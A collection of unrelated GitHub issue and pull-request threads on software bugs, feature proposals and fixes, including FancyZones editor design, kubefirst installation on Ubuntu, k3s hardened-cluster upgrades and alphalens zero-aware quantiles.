According to your comment it seems yes https://github.com/neo-project/neo-node/issues/515#issuecomment-565973656 , I think that we should check that at least, it's working as before the change, not worst :P what do you think?

I meant to keep the GUI code before we finished the new one.
But maybe we should not spend too much time fixing this old GUI. Because we did not update GUI code according to Neo3 codes changes. So it is going to be a lot of bugs and issues if testing team test this old GUI repo.

Agree

@shargon @erikzhang Shall I open an issue for this or just make full test after @wanglongfei88 finishing the restructure of neo-gui? But I think this PR has no problem.

New issue please.

New issue please.

Fine.


Refactoring of Home page

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is.
Describe the solution you'd like
Want to add a background pic and then refactoring chatbot and making rerouting of navbar and providing the login option there. Refactor all pages according to that.

@vanshika2906 Assigned :)


Cherry-pick into Refactor plus Fix a promote bug

I have a commit which merges this to master, waiting for CI to push it.


Mesh obtained with center cube

Hi,
I trained a custom data in all stages and got the meshes etc, but the meshes obtained of the object is inside the centre cube but i want only the object and not the centre cube. How do i extract the object only?

I made it by using 4-channel png images. Remove the bkgd and set alpha of the bkgd area to zero.

I realized it by using 4-channel png images. Remove the bkgd and set alpha of the bkgd area to zero.

There is no semantic segmentation module in the current implementation, so there is no way to obtain only the object and no background.


Show better error message for unresolved references due to missing prefix

module Foo {
    class X {
      public static F() {}
      public static G() { F(); }
    }
}

Current error is:

Cannot find name 'F'.

Suggestion:

Cannot find name 'F'. Did you mean to prefix the static function invocation with the class name, 'X.F()' ?

thanks @ShyykoSerhiy!

This is awesome, no pun intended. I hope we can do more of this in the future.


How can I render Mathjax node in react html renderer

If I parse editable content which includes Mathjax code in div‘s dangerouslySetInnerHTML attribute, how can I keep mathjax syntax render correctly ?

Also loaded mhchem extension fails, I can see the extension js file in browser, but Mathjax.Node render result is blank.


Compressed file size is bigger than original's

I tested it with mp4 file but it gave me a bigger file size (more MBs) with less resolution.
Tested on two devices and it's the same result.
Android version is 5 on both devices

你遇到越压缩视频越大吗


adding a tip about powertoys calculator plugin

related to issue microsoft#20187 and PR #24655

@mattwojo - Could you review this PR?
IMPORTANT: When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

Hold off on merging until PT v0.69 is released, which will include this functionality.

@mattwojo - reapplying the triaged label to remove this from our queue.  we'll see it again when you sign off.

0.69 is released,


Notice of an additional power saving app for Nokia devices

Nokia 2 owner here - I noticed that there's a new package name and battery protection app that isn't listed in the dontkillmyapp.com/nokia page.
The new package name is com.evenwell.batteryprotect and it can be disabled just like the other apps with pm disable-user com.evenwell.batteryprotect in adb shell. Just providing feedback so it may be added to the page!

This package is a genuine battery protection app that kicks in when the battery is overheating. This app is AFAIK harmless regarding app killing.


Remove doc about unshipped default configuration

This removes the documentation about the default configuration capabilities in the default web host builder. The feature was originally introduced in 4b18cf52ae3c22c7124fd9cb35ae0253b390b28e and soon unshipped in c920c459537c21285b47b05f033a48363297e3dc. However, the documentation that was added with it never got removed.
Since this is visible on docs.microsoft.com, we should probably fix that before more people look for features that aren’t there.
/cc @ctolkien

Good catch. Can you rebase on release/2.2? Our branching just got overhauled. I retargeted the PR but it has extra commits.

Oh, I totally forgot about the branching change. Rebased!


MAJORITY_ELEMENT by JYOTISHREE BEHERA

name: MAJORITY_ELEMENT
about: Solved by using Python
labels: hacktoberfest
Description
Solved MAJORITY_ELEMENT using python.

Just make another commit. Just an edit in readme or any small change this time this will not fail I guess.🙂
If this doesn't work close this PR and again.
#85 For this works  so it will work here.


Kani extension appears to crash when stack size is too small

The extension appears to get stuck if the stack size is too small. This can appear as a test case looping infinitely.

In case the extension takes a long time to verify, and the stack size is not a viable solution, users might want a timeout feature that lets someone know how long or where verification is taking. This is a feature that's to be implemented in Kani itself but at the extension level, it's much easier to pop up a notification window asking users if they want to close the current process.


possible mismatch of object numbering schemes (README vs ScaleAP output)

Hello,
in section: https://github.com/LazyShion/ScaleAP#input-file
the object numbering follows nubering of objects starting at 1: sim(1,3)
in the last section: https://github.com/LazyShion/ScaleAP#example
as well as in the output of the command there is:
./ScaleAP -i sample_sim.bin -R -p 0.01
Object	Cluster
0	0
1	1
2	2
3	3

which is a starting at 0 (zero) object numbering scheme. Would it be possible to have just one object numbering standard for the inputs and output of the program?
Many thanks for your help in advance
Darek Kedra

Hi Darek,
Thank you for your feedback. In ScaleAP, the dataset should be starting at 0 object numbering scheme. I will correct Readme.md later.
Thank you,
Hiroaki


[FZ Editor] GridEditor design changes

Summary of the new feature/enhancement
Improve current implementation of the FancyZones Editor that is complicated and hard to maintain.
Proposal created in cooperation with @ivan100sic.

Proposed technical implementation details (optional)
Data structures:
Zone: {
    int index;
    double width;
    double height;
    double x;
    double y;
}

Splitter: {
    Orientation orientation; //Horizontal or Vertical
    double position;
    List<int> negativeSideIndexes; //left/top zone indexes
    List<int> positiveSideIndexes; //right/bottom zone indexes
}

Use cases
Drag splitter:

Move left: reduce width/height for each grid zone that has index contained in negativeSideIndexes and increase those parameters for positiveSideIndexes.
Move right: similarly

Move is possible until every zone width/height is bigger than some small constant, ideally so that zone index numbers are not clipped.
Split zone:

Non-snapped, snapped non-adjacent: update indexes in zones and in splitters
Rule for updating splitters:
index > splittedIndex -> index++
index == splittedIndex && orientation != newSplitterOrientation -> insert(index + 1)
index == splittedIndex && orientation == newSplitterOrientation && list == negativeSideIndexes -> index++

Examples:

splittedIndex == 0
newSplitterOrientation == Horizontal

Splitters update:
{ orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 3 ] } -> { orientation: Horizontal, negativeSideIndexes: [ 1, 2 ], positiveSideIndexes: [ 3, 4 ] }
{ orientation: Vertical, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 1, 3 ] } -> { orientation: Vertical, negativeSideIndexes: [ 0, 1, 3 ], positiveSideIndexes: [ 2, 4 ] }

splittedIndex == 1
newSplitterOrientation == Horizontal

Splitters update:
{ orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 3 ] } -> { orientation: Horizontal, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 3, 4 ] }
{ orientation: Vertical, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 1, 3 ] } -> { orientation: Vertical, negativeSideIndexes: [ 0, 3 ], positiveSideIndexes: [ 1, 2, 4 ] }

splittedIndex == 2
newSplitterOrientation == Horizontal

Splitters update:
{ orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 3 ] } -> { orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 4 ] }
{ orientation: Vertical, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 1, 3 ] } -> { orientation: Vertical, negativeSideIndexes: [ 0, 2, 3 ], positiveSideIndexes: [ 1, 4 ] }

splittedIndex == 3
newSplitterOrientation == Horizontal

Splitters update:
{ orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 3 ] } -> { orientation: Horizontal, negativeSideIndexes: [ 0, 1 ], positiveSideIndexes: [ 2, 3 ] }
{ orientation: Vertical, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 1, 3 ] } -> { orientation: Vertical, negativeSideIndexes: [ 0, 2 ], positiveSideIndexes: [ 1, 3, 4 ] }

Snapped adjacent:
Update existing splitter if

orientation same
position same
one of the zones from negativeSideIndexes has bottom/right side == splitted zone top/left
one of the zones from positiveSideIndexes has top/left side == splitted zone bottom/right

Otherwise add new splitter

Don't to show splitter if it splits the zone into two pieces which are too small (less  than Minimum Bounding Rectangle).
Merge zones

Remove merged zones and add a new zone corresponding to Minimum Bounding Rectangle (use the closure algorithm ExtendRangeToHaveEvenCellEdges that should be reimplemented to work with a list of rectangles instead of cell child map).
Update zone indexes
Update splitters

Replace merged zones indexes with first merged zone index
Update other indexes
if negativeSideIndexes and positiveSideIndexes both contain same index after previous steps, remove that index from both lists
if negativeSideIndexes or positiveSideIndexes contain only merged indexes, remove splitter

Example:

merged: [ 2, 3, 7, 8, 9 ]

Splitters
{ Horizontal, negativeSideIndexes: [ 3 ], positiveSideIndexes: [ 8, 9 ] } -> removed
{ Horizontal, negativeSideIndexes: [ 1, 2 ], positiveSideIndexes: [ 5, 6, 7 ] } -> { Horizontal, negativeSideIndexes: [ 1 ], positiveSideIndexes: [ 5, 6 ] }
{ Horizontal, negativeSideIndexes: [ 7, 8, 9 ], positiveSideIndexes: [ 10, 11 ] } -> { Horizontal, negativeSideIndexes: [ 2 ], positiveSideIndexes: [ 10, 11 ] }
{ Vertical, negativeSideIndexes: [ 5 ], positiveSideIndexes: [ 6 ] } -> { Vertical, negativeSideIndexes: [ 5 ], positiveSideIndexes: [ 6 ] }
{ Vertical, negativeSideIndexes: [ 1, 6 ], positiveSideIndexes: [ 2, 7, 10 ] } -> { Vertical, negativeSideIndexes: [ 1, 6 ], positiveSideIndexes: [ 2, 10 ] }
{ Vertical, negativeSideIndexes: [ 2, 7, 10 ], positiveSideIndexes: [ 3, 8, 11 ] } -> { Vertical, negativeSideIndexes: [ 2, 6 ], positiveSideIndexes: [ 2, 7 ] } -> { Vertical, negativeSideIndexes: [ 6 ], positiveSideIndexes: [ 7 ] }
{ Vertical, negativeSideIndexes: [ 8 ], positiveSideIndexes: [ 9 ] } -> removed
{ Vertical, negativeSideIndexes: [ 3, 9, 11 ], positiveSideIndexes: [ 4, 12 ] } -> { Vertical, negativeSideIndexes: [ 2, 7 ], positiveSideIndexes: [ 3, 8 ] }

Adding a reference to a crashing bug that show why the current internal design has a significant limitation https://github.com/microsoft/PowerToys/issues/9540

This has been resolved in the 0.35 release.  https://github.com/microsoft/PowerToys/releases/latest


Performance Improvement of erfint

Hi @MassimoCimmino ,
I have implemented a new erfint function which differ between values below 4 and above. To avoid calculating to often the erf and exponential function because above 4 these values are linear depending on the absolute input. This has improved the segment-to-segment response factor calculation time by up to 50 % (see pictures), at least on my machine.

I hope you find this helpful.
With best regards

This looks very promising. Thank you @tblanke. I will open an issue so that we can clean up the commits and quantify the impact on accuracy and computational time.
I have one question to start : How was the choice of a value of 4 decided? I believe the scipy implementation of erf in scipy is base on Abramowitz and Stegun, which provide approximations of erf with error bounds of 1.5e-7 or 3.0e-7. The choice of 4 brings us down to approximately 1e-8, which seems reasonable.
>>> from scipy.special import erfinv, erf
>>> 1. - erf(4.)
1.5417257914762672e-08
>>> erfinv(1. - 1e-8)
4.052237244600268

Hi @MassimoCimmino ,
Thanks.
After I have take a look at the functions erf and exp(-x^2), I have realized that they are close to 1 / 0 at around 4 -5.
So, I have implemented a pytest function to check if the error is less then 1e-8 (it is also in the pull request) and for 4 this holds. Here is a graph of the maximal error above the threshold value:

Ater this graph we can even take 3.7 if an error of 1e-8 is fine.

I replicated the changes in a clean branch : issue239_approximateErfint.
It seems the performance improvement is not always positive. Cases in the compare_gfunction_solvers.py run faster. However, some cases in uniform_temperature.py run slower. I will investigate deeper.

However, some cases in uniform_temperature.py run slower. I will investigate deeper.

That is peculiar. I might have some time this weekend, if not resolved by then.

After I have take a look at the functions erf and exp(-x^2), I have realized that they are close to 1 / 0 at around 4 -5.

This is a neat idea, @tblanke. Hoping it works out.


kubefirst local does not run on Ubuntu

a user had an error running kubefirst local on an ubuntu vm, this was replicated running an Ubunut image in civo
minio-769657f5c5-cm8gn        0/1     CrashLoopBackOff   34 (4m20s ago)   153m
minio-make-bucket-job-cb5r2   1/1     Running            3 (3m16s ago)    35m
minio-make-user-job-5rvbc     1/1     Running            3 (3m16s ago)    35m

logs from the minio pod
root@debug-1-4bf4-05c715:~# k -n minio logs pod/minio-769657f5c5-jjjsl
ERROR Unable to initialize backend: mkdir /export/.minio.sys: permission denied

quick update on this issue, we are able to replicate this community issue on civo ubuntu. we spent some time trying to find an easy "quick fix" that wouldn't require a release and haven't been able to identify one yet. we think that the issue has to do with the minio storage class and permissions of the minio volume mount that emulates s3 on the ubuntu host.
while we don't expect to have a fix today, we are going to try to get a permanent fix included in the 2.0 release to support the user who identified this condition if we're able to remedy by wednesday of next week.

Oh my final hack is,
after running kubefirst local, I watch the folder $HOME/.k1, and once minio-storage is created, I run
chmod -R 777 minio-storage

hello @jizusun - wanted to thank you for this input. with our 2.0 release out the door and a few high-priority patches, we've just circled back to this and confirmed that we are indeed operational on ubuntu without any os volume hackery.
wanted to share with you the startup script that we used to test in case it's helpful to you, this was tested on a civo xl compute vm running Ubuntu 22.04.
startup script to install docker, ca bundle, kubectl, mkcert, kubefirst, and add github/gitlab to known_hosts
#!/bin/bash
sudo apt-get update
sudo apt-get install \
    ca-certificates \
    curl \
    gnupg \
    wget \
    libnss3-tools \
    --yes
sudo mkdir -m 0755 -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin --yes
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
mv kubectl /usr/local/bin/
chmod +x /usr/local/bin/kubectl
apt-get install wget libnss3-tools
wget https://github.com/FiloSottile/mkcert/releases/download/v1.4.4/mkcert-v1.4.4-linux-amd64
mv mkcert-v1.4.4-linux-amd64 /usr/bin/mkcert
chmod +x /usr/bin/mkcert
mkcert -install
kubectl version
export KUBEFIRST_VERSION=`curl https://github.com/kubefirst/kubefirst/releases/latest  -Ls -o /dev/null -w %%{url_effective} | grep -oE "[^/]+$"`
curl -s -LO "https://github.com/kubefirst/kubefirst/releases/download/$${KUBEFIRST_VERSION}/kubefirst_$${KUBEFIRST_VERSION:1}_linux_amd64.tar.gz"
tar -xvf kubefirst_$${KUBEFIRST_VERSION:1}_linux_amd64.tar.gz -C /usr/local/bin/
chmod +x /usr/local/bin/kubefirst
ssh-keyscan gitlab.com >> ~/.ssh/known_hosts
ssh-keyscan github.com >> ~/.ssh/known_hosts
kubefirst version

on the host, run the following to add local ca to cert store and run kubefirst k3d create
(be sure to export your GITHUB_TOKEN / GITLAB_TOKEN)
mkcert -install
export GITHUB_TOKEN=ghp_XXXXXXXXXXXXXXXXXXXXXX
kubefirst k3d create

thanks for this report and for your patience while we got 2.0 out the door. please let us know if you have any other needs from kubefirst on ubuntu vm support.

@jizusun closing this issue since it was fixed in 2.0, but let us know if you still can't use kubefirst on Ubuntu.
@johndietz is there anything to add to the installation documentation that is specific to Ubuntu that could help future users?

I'm running into this on Ubuntu 22.04 after installing it as per the documentation.
$ kubefirst k3d create
------------------------------------------------
Follow your logs in a new terminal with:
   tail -f -n +1 /home/test/.k1/logs/log_1697467691.log
------------------------------------------------
Error: known_hosts file does not exist - please run `ssh-keyscan github.com >> ~/.ssh/known_hosts` to remedy

If a detailed error message was available, please make the necessary corrections before retrying.
You can re-run the last command to try the operation again.

Following the logs doesn't show any additional information.
I also tried installing it via the script @johndietz provided but getting the same results.

@Brother-Blue : did you run the proposed command ssh-keyscan github.com >> ~/.ssh/known_hosts as suggested by the CLI output? It should solve the issue.

I did but it made no difference. Nothing showed in the logs and the same error message came up after retrying the create command.

@Brother-Blue if you still have this issue, join our Slack community and we will help you about it, as it's a different problem than this initial issue.

Thank you @fharper I put the project on the back burner for now but I'll join the slack if I run into the same issue in the future.


Function-local bitflags

Fixes #71. @alexcrichton @brson as we talked about.

Ended up merging #74


[DebugInfo][SIL] Introduce the 'implicit' attribute for debug variable

Debug variables that are marked 'implicit' on its debug_value instruction mean that they were generated by compiler. Optimizers are free to remove them (if it becomes a dead code, for instance) even in  -Onone. Since they are barely used by users and keeping them might lead to incorrect IRGen results.
NOTE: This PR is only for code review. It depends on and includes  #38734 . DO NOT MERGE. Please merge #38736 instead when everything is done.

@swift-ci please test

@swift-ci please test

Build failed
Swift Test Linux Platform
Git Sha - e63632fda85c14ddefed66db75d0ce8a7acc442f


Add default rescheduler policy

Implement this : #2007
Signed-off-by: Xian Chaobo<EMAIL_ADDRESS>

@jimmyxian golint is complaining :ghost:
Otherwise SGTM, this probably requires some changes in the rescheduling docs as well to mention the added feature.
CI failures seems unrelated.
/cc @vieux

@abronan OK, will add some docs.

ping @abronan  @vieux
Review again, thanks

ping @abronan  @vieux
Review again, thanks

Closing this PR since it's outdated.


confusion in use of visualizeFilters.py, Results_Plot.py and model.predict()

I am noob in deep learning and doing lung nodule detection just for learning using this code base.
I have trained model by making smaller changes in LUNA_unet.py
model.predict() gives me numpy array of (3, 1, 512, 512), but I don't know what it is.
Can anybody tell me how to test the images?
And also how to use visualizeFilters.py and Results_Plot.py files. I am not getting it.
Thank you.

excuse me, Do you know what's in data.npz?


[FLINK-30190][FLINK-30191][FLINK-30192][Python] Update cython, py4j and python-dateutil

What is the purpose of the change

Update used dependencies to the latest patch version

Brief change log

Created three separate commits for these updates to avoid overflowing the CI

Verifying this change
This change is a trivial rework / code cleanup without any test coverage.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): yes
The public API, i.e., is any changed class annotated with @Public(Evolving): no
The serializers: no
The runtime per-record code paths (performance sensitive): no
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn, ZooKeeper: no
The S3 file system connector: no

Documentation

Does this pull request introduce a new feature? no
If yes, how is the feature documented? not applicable

@flinkbot run azure

@flinkbot run azure

@flinkbot run azure

@HuangXingBo I was expecting that a patch update for py4j would not break anything, but it seems like it does. If you know a quick fix for this, let me know, else I'll drop the update for py4j


fix typo

Please check if the PR fulfills these requirements

[x] The commit message follows our guidelines
[x] Tests for the changes have been added (for bug fixes / features)
[ * ] Docs have been added / updated (for bug fixes / features)

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
Docs Update

What is the current behavior? (You can also link to an open issue here)
says "createed"

What is the new behavior (if this is a feature change)?
fixed to "created"

Does this PR introduce a breaking change? (What changes might users need to make in their application due to this PR?)

No

Other information:

:eyes: Thanks ^_^
@allcontributors[bot] , please add @mix3d for documentation

:tada: This PR is included in version 3.9.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Validate and document Hardened Provisioned k3s Cluster upgrade from 1.24 to 1.25

As part of validating support for k8s 1.25 support we want to ensure hardened provisioned k3s clusters can be upgraded from k8s <=1.24 to 1.25.
The purpose of this "task" issue is to verify/refine/document the steps outlined below. The "document" part can be done as a comment on this issue and will likely be turned in a separate documentation issue.

Provision k3s hardened cluster on k8s 1.24 per the existing hardening recommendations (only Custom clusters are supported; such cluster will have kube-apiserver-arg.enable-admission-plugins contain values PodSecurityPolicy and NodeRestriction)
Provided node requirements are met for CIS 1.23, upgrade k8s version of this cluster to 1.25 while ensuring the following before saving the cluster (if not done automatically by UI yet, make changes manually and note this):

PodSecurityPolicy is removed from kube-apiserver-arg.enable-admission-plugins
PSACT rancher-restricted is selected

Ensure the cluster is upgraded successfully and is otherwise healthy

Reference "k8s 1.25 support" umbrella issue: https://github.com/rancher/rancher/issues/38701

Following the steps mentioned in the issue, a custom hardened k3s cluster is upgraded from v1.24.10+k3s1 to v1.25.6+k3s1 and passes the cis scan.
The cluster is hardened by following K3s Hardening Guide which will be released for v2.7.2
The rancher-cis-benchmark app version 4.0.0-rc3 is used to run the CIS scan with the profile k3s-cis-1.23-profile-hardened. All checks are passed before and after upgrading the cluster.

This is moved to to-test for QA to validate if they can upgrade the cluster with the provided steps.
Once we get the confirmation from QA, we will add those steps to rancher's documentation.
A separate issue in the rancher-docs repo will be linked to this one.

QA TEST PLAN
Scenarios

Scenario
Test Case

1
As a standard user, validated that the instructions in the K3s hardening guide successfully upgrades an v1.24 -> v1.25 K3s downstream node driver cluster

Validated this against v2.7-head https://github.com/rancher/rancher/commit/211409c9a689d8ee4d801ed1bce1d887b0fb4b00. See details below:
ENVIRONMENT DETAILS

Rancher install: Helm
Rancher version: v2.7-head https://github.com/rancher/rancher/commit/211409c9a689d8ee4d801ed1bce1d887b0fb4b00
Browser: Chrome

TEST RESULT

Scenario
Test Case
Result

1
As a standard user, validated that the instructions in the K3s hardening guide successfully upgrades an v1.24 -> v1.25 K3s downstream node driver cluster
:white_check_mark:

VALIDATION STEPS
Scenario 1

Navigated to Rancher > Cluster Management > Create > Custom.
Before provisioning, set the following cluster configuration details:

K8s version -> v1.24
protect-kernel-defaults: true

Created the custom cluster.
Navigated to a terminal that had 3 separate nodes: 1 etcd, 1 cp, 1 worker.
Set the kernel parameters with the following commands in /etc/sysctl.d/90-kubelet.conf:

vm.panic_on_oom=0
vm.overcommit_memory=1
kernel.panic=10
kernel.panic_on_oops=1

Ran the following command: sudo sysctl -p /etc/sysctl.d/90-kubelet.conf.
In the control plane node, created directory /var/lib/rancher/k3s/server/logs and created audit.yaml file based on the guide.
Registered each node with its respective registration command.
Validated that the cluster and nodes came up as Active in Cluster Management and Cluster Explorer.
Validated that all pods in the system project page are up and Active.
Navigated back to the control plane node in a separate terminal,
Created files psp.yaml and policy.yaml from the guide in the /var/lib/rancher/k3s/server directory.
Ran kubectl apply -f on both of the above YAML files.
Navigated back to cluster configuration in Rancher and included followed the Reference Hardened K3s Template Configuration section.
Validated that with the above changes, the cluster momentarily went into Updating state before reverting back to Active once the changes took affect in the cluster.
Installed the CIS benchmark chart in the cluster.
Ran a CIS scan with profile k3s-cis-1.23-profile-hardened and validated that it passed:

Attempted to upgrade K8s version to 1.25 and noted the following warning message:

Following the instructions, removed the PSP admission controller from my cluster configuration YAML.
Updated the cluster and validated that the cluster and nodes upgraded to v1.25.
Validated that the pods in the system project are up and Active.
Ran a new CIS scan and noted that the scan failed:

Noted that the error is due to admission plugins:

Created a test deployment with container image nginx:latest and validated that it failed:


[master] Upgrade to latest dependencies

Produced via:
./hack/update-deps.sh --upgrade
./hack/update-codegen.sh

Cron. -knative-prow-robot
/cc we don't use Prow
/assign we don't use Prow

Codecov Report

Merging #161 (eb2920c) into master (be5791d) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #161   +/-   ##
=======================================
  Coverage   78.05%   78.05%
=======================================
  Files          18       18
  Lines         565      565
=======================================
  Hits          441      441
  Misses        121      121
  Partials        3        3

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update be5791d...eb2920c. Read the comment docs.


server: add more validation to --no-db static file parsing

In #393 the format of the static user file in --no-db mode changed.
However, the old format loads without error, which has caused
issues for developers with existing user files.
Add an explicit check to ensure the file is not using the old
format. If they are, print a better error message.

LGTM. Should we have a plan to remove OldUserFields at some point?

Either way. Does anyone actually look at // TODO comments? :)

well no, but we should and we will one day. Doesn't have to be a TODO, could be an issue, or a mark on your calendar or whatever. I would just like to see that not be around forever.

Once saw a package that turned TODOs into errors if they weren't resolved in a certain amount of time. Maybe we need something like that!
But yeah, I've added a reminder to my calendar to remove this two months from now.

Once saw a package that turned TODOs into errors if they weren't resolved in a certain amount of time. Maybe we need something like that!

That would be sick.

But yeah, I've added a reminder to my calendar to remove this two months from now.
Brilliant

LGTM


Fix llvm-openmp dependency

Fixes #31. Also tidy up the recipe a little.
Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

@conda-forge/r ready for review. This should fix the unsolvable statuses for several of the R 4.3 feedstock migrations. Also caught that zlib has been undeclared.


Increment version for eventgrid releases

Increment package version after release of com.azure azure-messaging-eventgrid

/azp run java - eventgrid - ci


Repeated calls to wr.redshift.to_sql() fail

Describe the bug
See the code below.
To Reproduce
import awswrangler as wr
import pandas as pd
df = pd.DataFrame({"c0": [1, 2, 3], "c1": ["foo", "boo", "bar"]})
con = wr.redshift.connect("aws-data-wrangler-redshift")
wr.redshift.to_sql(df, con, "hello", "public", "overwrite", True)
wr.redshift.to_sql(df, con, "hello", "public", "overwrite", True)
wr.redshift.to_sql(df, con, "hello", "public", "overwrite", True)
Traceback (most recent call last):
  File "<input>", line 1, in <module>
  File "/Volumes/workplace/github.com/aws-data-wrangler/pyenv-shim-venv/lib/python3.7/site-packages/awswrangler/_config.py", line 417, in wrapper
    return function(**args)
  File "/Volumes/workplace/github.com/aws-data-wrangler/pyenv-shim-venv/lib/python3.7/site-packages/awswrangler/redshift.py", line 747, in to_sql
    df.reset_index(level=df.index.names, inplace=True)
  File "/Volumes/workplace/github.com/aws-data-wrangler/pyenv-shim-venv/lib/python3.7/site-packages/pandas/core/frame.py", line 5016, in reset_index
    new_obj.insert(0, name, level_values)
  File "/Volumes/workplace/github.com/aws-data-wrangler/pyenv-shim-venv/lib/python3.7/site-packages/pandas/core/frame.py", line 3763, in insert
    self._mgr.insert(loc, column, value, allow_duplicates=allow_duplicates)
  File "/Volumes/workplace/github.com/aws-data-wrangler/pyenv-shim-venv/lib/python3.7/site-packages/pandas/core/internals/managers.py", line 1191, in insert
    raise ValueError(f"cannot insert {item}, already exists")
ValueError: cannot insert level_0, already exists

reset_index(drop=True)

Should fix it -- will send PR today.

Bizarre - I can't reproduce the issue anymore. Closing.


NSAutoreleasePool is unavailable

when building we get an error:
/Users/user/Qt5.6.0/5.6/ios/include/QtCore/qglobal.h:594: error: 'NSAutoreleasePool' is unavailable: not available in automatic reference counting mode
NSAutoreleasePool *pool;
^
ARC hasn't been used in Xcode for a while and it has no function to turn it off,
we need to use @autoreleasepool
or is there a different way to fix this?

That is a bug in Qt 5.6. Should be fixed in Qt 5.6.1 and Qt 5.7.


ENH: zero aware quantiles

Closes #304 and #281.
This adds the functionality to compute quantile buckets separately for positive and negative signal values. This is useful if your signal/factor is centered and zero is the separation between long and short signals, respectively.
A separate parameter, called zero_aware, has been added to the quantize_factor function. If True, alphalens will compute the quantiles while being aware of the positive-negative split.

@twiecki don't you want the zero_aware flag to be exposed to get_clean_factor_and_forward_returns?
@eigenfoo one suggestion. Since it is almost no effort, why don't we add the zero_aware logic to the bins option too? As a user I would expect the flag to work with both bins and quantiles

All good suggestions! I'll take care of those.
@twiecki can we confirm that we want the symmetric bucketing: currently, zero is allowed pegged to the "halfway quantile" (e.g. the 50th percentile). I like the idea of symmetric bucketing but that means we'd need to have negative quantile numbers to distinguish between positive and negative factor values.
Also, I'm concerned about the failing tests: I suspect it has something to do with changes to pd.qcut between versions 0.19 and 0.20, although I can't really find anything. Any thoughts @luca-s?

@luca-s I don't think I follow: if the quantile numbers don't reflect the positive/negative value of the factor, then how will we distinguish between, say, an asset in the 20th positive quantile and the 20th negative quantile?
I also realize that the zero_aware functionality does not make sense with custom quantile/bin ranges. I will add a test to make sure that zero_aware is ignored unless quantiles or bins is an integer. Does that sound reasonable?

@eigenfoo perfect, you can make a check at the beginning of the function and raise a ValueError if zero_aware is true and quantiles or bins is not an integer. In this way we can forget about symmetric bucketing and keep the current logic

@luca-s  All points have been resolved, except for the tests. It cannot be what you described (i.e. that either the positive or negative subset is empty), because all tests with pandas version >= 0.20 passed successfully.
Perhaps it is to do with this bug that was patched in pandas 0.20?

@eigenfoo before your latest change the bug was what I said, now that you changed the tests the bug is the one you linked.   Add more data in the biased_factor and you should be able to avoid hitting the bug

What an interesting bug; nice catch @luca-s! Ready for review now.

It seems all good now, thanks @eigenfoo . I will go on and merge this


Filter results using from and to parameters in "Address UTXOs of a given asset" endpoint

As in "Address transactions" it would be useful to get the UTXOs of a specific token that are between two blocks.

Hi! Would you mind sharing a use case? Thanks!

I'd like to know the number of new transactions after a specific block. Without this parameter, I have to blindly request a set of transactions and check for the transactions since a particular block programmatically.
It is a question of UX and keeping consistency with other endpoints specifications like https://docs.blockfrost.io/#tag/Cardano-Addresses/paths/~1addresses~1{address}~1transactions/get.

@fabioDMFerreira are you sure you mean UTXOs and not transactions?

At the moment it doesn't seem possible to filter the transactions where a specific asset was traded. I am using this UTXO endpoint as an alternative.


All columns disappear in the service explorer if empty the value for one column on the 'Column Options' dialog

Storage Explorer Version: 1.33.0-dev (96)
Build Number: 20240207.6
Branch: main
Platform/OS: Windows 10/Linux Ubuntu 22.04/MacOS Sonoma 14.3(Apple M1 Pro)
Architecture: x64/x64/x64
How Found: From running test case
Regression From: Not a regression
Steps to Reproduce

Expand one storage account -> Tables.
Create a table -> Click 'Customize Columns'.
Empty the value for 'PartitionKey' -> Click 'OK'.
Check whether the 'RowKey' column shows well.

Expected Experience
The 'RowKey' column shows well.
Actual Experience
All columns disappear.

@v-xianya When you say "empty value", I assume you mean you delete the text in the size input?

Yes, "empty value" means delete the text in the size input
Verified this issue on the main build 20240208.4. Reproduce. So, we are going to reopen it.

@v-xianya I've added additional validation logic and an error message.

Hi @craxal Thank you for the update. Verified this issue on the main build 20240209.3.
The columns size has a validation. while an error message appears, the 'OK' button is still enabled. Could you help to check it?

I'll make sure the OK button is disabled.

Verified this issue on the main build 20240217.4. 'OK' button is disabled when there is an error message.


REST: Fixed override of headers/token in haveRequestHeaders() and amBearerAuthenticated()

Motivation/Description of the PR
In CodeceptJS 3.3.1, if you call I.amBearerAuthenticated() several times with various tokens, only the token passed for the 1st time is used in all calls.
Also I.haveRequestHeaders() is affected
Applicable helpers:

[ ] WebDriver
[ ] Puppeteer
[ ] Nightmare
[x] REST
[ ] FileHelper
[ ] Appium
[ ] Protractor
[ ] TestCafe
